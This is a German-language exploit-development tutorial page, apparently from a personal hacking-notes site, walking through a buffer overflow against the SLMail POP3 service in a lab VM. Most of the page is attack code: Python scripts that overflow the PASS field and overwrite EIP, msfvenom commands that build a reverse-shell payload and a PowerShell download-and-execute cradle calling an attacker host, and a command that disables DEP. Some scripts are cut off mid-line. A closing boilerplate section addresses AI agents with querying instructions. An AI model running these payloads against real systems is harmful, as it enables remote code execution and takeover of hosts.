> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/windows-buffer-overflow-slmail.md).
# Windows-Pufferüberlauf - SLMail
Installation der Buffer-Overflow-Umgebung
1. Lade die Maschine herunter [Windows 7 Basic 32 Bit](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Lade in der Maschine den [Debugger ](https://www.immunityinc.com/products/debugger/):
3. Sobald du es installiert hast, führe den folgenden Befehl im Terminal aus:
```bash
bcdedit.exe /set {current} nx AlwaysOff
```
4. Kopiere dies [Skript ](https://www.immunityinc.com/products/debugger/)in eine a.py-Datei:
5. Füge das Skript ein in `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Installiere schließlich [slmail](https://slmail.software.informer.com/download/):
## Initiale Fuzzing-Phase und Kontrolle des EIP-Registers:
{% hint style="success" %}
In der anfänglichen Phase der Ausnutzung eines Buffer Overflows bestehen die ersten Schritte darin, die Grenzen des Programms zu bestimmen. Dies geschieht, indem zusätzliche Zeichen in verschiedene Eingabefelder des Programms eingefügt werden, etwa Textzeichenfolgen oder Dateien, bis eine Manipulation oder ein Anwendungsfehler festgestellt wird. Sobald die Grenze des Eingabefelds identifiziert ist, besteht der nächste Schritt darin, den Offset zu ermitteln, der die genaue Anzahl der Zeichen bezeichnet, die erforderlich ist, um eine Änderung im Programm zu verursachen und außerdem den Wert des EIP-Registers (Extended Instruction Pointer) zu überschreiben. Dieses Register, das auf die Speicheradresse der nächsten auszuführenden Anweisung zeigt, ist entscheidend. Bei einer erfolgreichen Ausnutzung eines Buffer Overflows wird sein Wert durch eine vom Angreifer kontrollierte Adresse ersetzt, wodurch die Ausführung bösartigen Codes möglich wird. Das Ziel bei der Bestimmung des Offsets besteht also darin, die genaue Anzahl der Zeichen anzugeben, die eingefügt werden müssen, um den Wert des EIP-Registers zu überschreiben und so auf die vom Angreifer kontrollierte Speicheradresse zu verweisen. Mit diesen Informationen kannst du einen eigenen Exploit für das Zielprogramm entwerfen, dabei ebenfalls das EIP-Register kontrollieren und die Ausführung bösartigen Codes ermöglichen.
{% endhint %}
* Im Immunity Debugger wählen wir SLMail aus:
* Wir werden nun ein Python-Skript erstellen, das die Ermittlung der Zeichenfolge automatisiert, die erforderlich ist, um einen Absturz des Programms zu verursachen.
```python
#!/usr/bin/python3
import socket
import sys
if len(sys.argv) != 2:
print("/n[!] Verwendung: exploit.py ")
exit(1)
ip_address = "192.168.71.139"
port = 110
total_length = int(sys.argv[1])
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + b"A"*total_length + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
Da wir unter Windows sind, verwenden wir ein Tool von Metasploit.
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```
Beispiel mit 5000 Zeichen:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
* Der Dienst ist abgestürzt, aber was uns interessiert, ist der EIP-Wert:
* Mit dem folgenden, ebenfalls von Metasploit stammenden Skript übergeben wir diesen Wert, also den EIP, und es berechnet die maximale Anzahl möglicher Buffer-Zeichen: `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`
* Sobald wir also den Offset kennen, wird das folgende Skript 4 B-Zeichen einfügen, um zu sehen, ob es funktioniert oder nicht:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A"* offset
eip = b"B"*4
payload = before_eip + eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
\*Wir sehen, dass der EIP viermal dem Buchstaben B entspricht (42424242):
## Speicherzuweisung für Shellcode:
{% hint style="success" %}
Sobald der Offset gefunden und der Wert des EIP-Registers während eines Buffer Overflows überschrieben wurde, besteht der nächste Schritt darin, im Speicher die Darstellung der in das Eingabefeld eingegebenen Zeichen zu finden. Nach dieser Änderung des EIP-Registers werden zusätzliche Zeichen, die im Eingabefeld eingefügt wurden, am Anfang des Stacks im ESP-Register (Extended Stack Pointer) identifiziert, wie im Immunity Debugger zu sehen ist. ESP, ein CPU-Register, verwaltet den Stack in einem Programm, einem temporären Speicherbereich, der die Werte und Adressen zum Zurückspringen aus Funktionen speichert. Der nächste Schritt besteht in der Einschleusung eines Shellcodes, also der Anweisungen auf niedriger Ebene, die einer bösartigen Aktion entsprechen, an dem Ort, an dem er identifiziert wird. Der Shellcode wird im Stack an der Adresse platziert, an der sich die veränderten Zeichen befinden, wobei ebenfalls der Buffer Overflow ausgenutzt wird, um den bösartigen Code auszuführen und die Kontrolle über das System zu übernehmen. Es ist wichtig, den Shellcode mit Vorsichtsmaßnahmen zu entwerfen, um jede Erkennung bösartiger Inhalte zu vermeiden und die Kompatibilität mit der CPU-Architektur und dem Zielsystem sicherzustellen. Zusammenfassend erfordert die Speicherzuweisung für den Shellcode die präzise Identifizierung des Speicherorts der anderen Zeichen im Buffer Overflow, gefolgt von einer strategischen Einschleusung des bösartigen Shellcodes. Beim Entwurf des Shellcodes muss jedoch die Erkennung unerwünschter Zeichen (badchars) berücksichtigt werden, und im nächsten Schritt werden wir besprechen, wie man diese erkennt und einen von diesen Zeichen freien Shellcode erzeugt.
{% endhint %}
Jetzt werden wir mit dem folgenden Skript sehen, was passiert, wenn wir nach EIP keinen Buffer-Überlauf erzeugen oder wenn der gesamte Inhalt im Speicher liegt (auf dem Stack):
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A"* offset
eip = b"B"*4
after_eip = b"C"*200
payload = before_eip + eip + after_eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
Wenn wir links mit "follow in dump" mehr Informationen ansehen:
## Generierung von Bytearrays und Erkennung von badchars:
{% hint style="success" %}
Beim Erstellen von bösartigem Shellcode zur Ausnutzung des Buffer Overflows kann das Zielprogramm bestimmte Bytes möglicherweise nicht interpretieren; diese werden als badchars bezeichnet. Diese Bytes können den Shellcode beschädigen oder das Programm unerwartet abstürzen lassen. Um dies zu vermeiden, identifiziere und entferne badchars, bevor du die endgültige Nutzlast erzeugst. Erzeuge mit Immunity Debugger und Mona ein vollständiges Bytearray, sende es durch den verwundbaren Buffer und vergleiche die Bytes, die in ESP landen. Jedes Byte, das fehlt oder verändert wurde, muss aus dem endgültigen Shellcode ausgeschlossen werden.
{% endhint %}
\*Wir verwenden den folgenden Befehl, um auf dem Desktop mit Mona einen Arbeitsordner zu erstellen:
* Mit dem folgenden Befehl werden die Dateien erstellt:
```
!mona bytearray -cpb '/x00'
```
* Um die Dateien zu übertragen, können wir mit dem folgenden Befehl einen SMB-Server erstellen:
impacket-smbserver smbFolder $(pwd) -smb2support
* Im Datei-Explorer geben wir die IP-Adresse ein und fügen die erstellte Bytearray-Datei ein:
* Nun muss diese Zeichenfolge in das Skript eingefügt werden (mit einem 'b' vor jeder Zeile, um anzuzeigen, dass sie im Byte-Modus ist):
* Python-Skript:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = b"B" * 4
after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")
payload = before_eip + eip + after_eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
* Wir führen ein "follow in dump" des ESP durch:
* Dort können wir die unerwünschten Zeichen sehen (die es nicht interpretieren kann):
Wir zeigen nun den folgenden Befehl mit der ESP-Nummer (vorangestellt von 0x und dem Vergleich mit der bytearray.bin) an, um die Zeichen zu sehen, die korrekt interpretiert werden können:
!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
* Mit diesem Befehl geben wir an, dass unerwünschte Zeichen nicht aus der Bytearray-Datei entfernt werden sollen:
```
!mona bytearray -cpb '/x00/x0a'
```
* Wir wiederholen es, und es erkennt neue unerwünschte Zeichen:
!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*Und wir aktualisieren das Bytearray erneut:
```
!mona bytearray -cpb '/x00/x0a/x0d'
```
* Wenn wir es erneut durchführen, erscheint kein Fehler mehr:
## Auf der Suche nach OpCodes, um auf ESP zuzugreifen und unseren Shellcode zu laden:
{% hint style="success" %}
Nachdem der Shellcode erzeugt und die badchars identifiziert wurden, leite den Ausführungsfluss zum Shellcode um. Das Ziel besteht darin, EIP mit einer Speicheradresse zu überschreiben, die eine `JMP ESP` Anweisung enthält, da sich der Shellcode in ESP befindet und EIP nicht zuverlässig direkt auf ihn zeigen kann. Verwende Werkzeuge wie `mona.py` um geladene Module nach einem nutzbaren `JMP ESP` Opcode zu durchsuchen. Sobald die Adresse gefunden ist, trage sie in EIP ein, damit die Ausführung zu ESP springt und den Shellcode ausführt.
{% endhint %}
* Der folgende Befehl erzeugt einen Windows-x86-Shellcode, der eine Reverse-TCP-Verbindung zur IP-Adresse 192.168.71.128 auf Port 443 verwendet, mit einer shikata/\_ga/\_nai-Kodierung und unter Ausschluss von badchars.
```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* Jetzt werden wir mit dem **!mona modules** Befehl nach einem ungeschützten Modul suchen, dessen Wert false ist:
* Wir suchen nach einem jmp esp, was sich in "/xFF/xE4" übersetzen würde:
* Mit dem folgenden Befehl sollten wir eines dieser Module ohne Schutz und ohne Badchar auswählen:
* In diesem Fall wählen wir das letzte, nämlich "0x5f4c4d13". Wir werden einen Haltepunkt erstellen, um zu überprüfen, ob der Programmfluss korrekt darüber läuft:
* Mit diesem Skript schaffen wir es, den EIP auf den für uns interessanten Wert zu ändern:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
* Wenn wir nun dem ESP-Dump folgen, würde der Shellcode dargestellt werden:
## Verwendung von NOPs, Stack-Platzierungen und Shellcode-Interpretation, um eine RCE (Remote Code Execution) zu erhalten.
* Er interpretiert es für uns nicht:
* Lassen Sie uns nun das Skript ändern, indem wir dieses NOP auf folgende Weise hinzufügen:
* Endgültiges Skript:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
## Anpassung des Shellcodes zur Steuerung des auszuführenden Befehls:
{% hint style="success" %}
Neben Reverse-Shell-Payloads kann der `windows/exec` Payload einen Befehl direkt über die `CMD` Option einbetten. Dadurch wird Shellcode erstellt, der beim Ausführen den gewählten Befehl ausführt. Erzeuge ihn mit `msfvenom -p windows/exec CMD=""`, dann verwende dieselbe Buffer-Overflow-Technik, um EIP zu überschreiben und die Ausführung zum Shellcode umzuleiten.
{% endhint %}
* Lade dies herunter [Skript ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)und benenne es PS.ps1
Füge dies ans Ende des Skripts hinzu: `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`
* Erzeuge den Shellcode:
```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* Aktualisiertes Skript:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.